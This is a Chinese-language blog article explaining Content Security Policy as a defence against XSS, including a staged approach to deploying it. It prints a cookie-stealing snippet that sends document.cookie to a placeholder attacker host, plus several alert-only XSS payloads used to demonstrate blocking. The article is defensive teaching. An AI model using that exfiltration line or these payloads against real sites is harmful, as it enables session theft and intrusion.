对CSP的简单介绍


CSP是Content Security Policy的简称,可译为内容安全策略,用于减少或避免XSS(Cross Site Scripting)及其带来的风险。

如果你已经迫不及待想看一下效果,可以访问这个URL查看效果 (Chrome、基于Blink的Opera效果最佳): https://hatter.in/testCSP2

CSP的标准文档:

CSP 1 - http://www.w3.org/TR/2012/CR-CSP-20121115/ 2012年11月15日成为正式标准
CSP 2 - http://www.w3.org/TR/2015/CR-CSP2-20150219/ 2015年02月19日成为正式标准
Editor’s Draft - https://w3c.github.io/webappsec/specs/content-security-policy/
工作组地址 - https://github.com/w3c/webappsec
邮件列表地址 - http://lists.w3.org/Archives/Public/public-webappsec/

哪些浏览器已经支持CSP了?

查看更多,请点击:http://caniuse.com/#feat=contentsecuritypolicy

哪些网站已经实施了CSP?

目前全球网站实施CSP的并不多,也许是这个新兴的标准还没有得到大家的重视,或是根本没有人关心安全问题。

目前已经实施CSP的大型网站如:

相信随着时间推移,实施CSP的网站也会越来越多。

XSS如何起作用?

XSS带来问题的根本原因就是数据和代码未做分离,在数据和代码混杂的情况下,因为数据是来源于客房端的,所以常常会因为数据挣脱他所处的环境变成代码被执行,这种问题就是注入。
而,在HTML中被JavaScript注入,我们称之为Cross Site Scripting,由于CSS已经被层叠样式表占用,所以只好叫XSS了。

避免XSS的原理是什么?

由于我们知道了XSS的原理,那么解决XSS的方法也就简单了,让数据始终是数据,如通常的思路是对数据做转义,但程序员往往会忘掉转义而导致被XSS,而CSP的解决思路是让数据和代码隔离,让数据得不到执行权限来解决XSS问题。

CSP的三个境界

需要实施好CSP并不是一件简单的事情,特别是对于设计并不良好的老代码,由于在老代码中大量业已存在的inline JS、innerHTML和eval代码,如果想抽取并安放到一个静态的JS文件中,对于前端人员来说是异常困难的。

所以对于循序渐进的实施CSP就变得尤为重要,至少可以让我们快速尝到CSP带来的好处,对于CSP的实施我把他分为三个境界:

一、仅限制站外资源

这个阶段只能防止白名单以外的资源被加载,这种方式可以避免页面被恶意篡改,或是站内信息被泄露。

还有一个重要的事情是,一般来说XSS后黑客需要做的事情就是偷数据或CSRF,在已经被XSS的情况下对于CSRF也许已经没有什么办法了,但对于偷数据,一般来说黑客都是通过一个外部的URL把数据传出去,如一个简单的CASE:

var img = document.createElement("img")
img.src = "http://evil.example.com/saveData.do?data=" + encodeURIComponent(document.cookie);
document.getElementsByTagName("head")[0].appendChild(img);

图片外链的危害: http://www.cnblogs.com/index-html/archive/2012/08/15/extern_img.html

二、实施nonce方案,禁止非<script></script>块中及没有nonce标签的inline JS

这个阶段兼顾编码的方便性及安全性,比较好的权衡了方便与安全。

如指定Header:

Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-N123456';

参看代码:

  1. <img src=x onerror=alert('image onerror xss')><br>
  2. <svg/onload=alert('svg onload xss')><br>
  3. <span id="div_id"></span><br>
  4. <a href="javascript:alert('a href xss')">click me</a><br>
  5. <button onclick="alert('button onclick xss')">click me</button><br>

  <script type="text/javascript">
    alert('no nonce xss');
  </script>

  <script type="text/javascript" nonce="N12345678">
    alert('nonce error xss');
  </script>

  <script type="text/javascript" nonce="N123456">
    document.getElementById("div_id").innerHTML = "<img src='x' onerror='alert(\"innerHTML img onerror xss\")'>";

    document.write("6. document.write: <script>alert('document write xss');<\/script>");

    // alert("Hello world");

    eval("alert('eval xss')");
  </script>

在最新版的Chrome中,以上代码示例中的alert都被禁止执行。

三、禁止所有inline JS,eval等危险用法,做到数据、代码彻底隔离

这个阶段是最理想的阶段,理论上可以彻底避免XSS攻击,通过JS再写一个解析器来执行DSL除外。

Sample header:

Content-Security-Policy: script-src 'static.example.com';

仅使用静态的JavaScript文件,因为也禁止了unsafe-inlineunsafe-eval,所以XSS注入已经基本不可能了。

这类用法请参看GitHub.com: https://github.com/




参考资料

  1. http://benvinegar.github.io/csp-talk-2013/


本文URL: https://hatter.in/CSP


[edit]


Open Web Security (Copyright)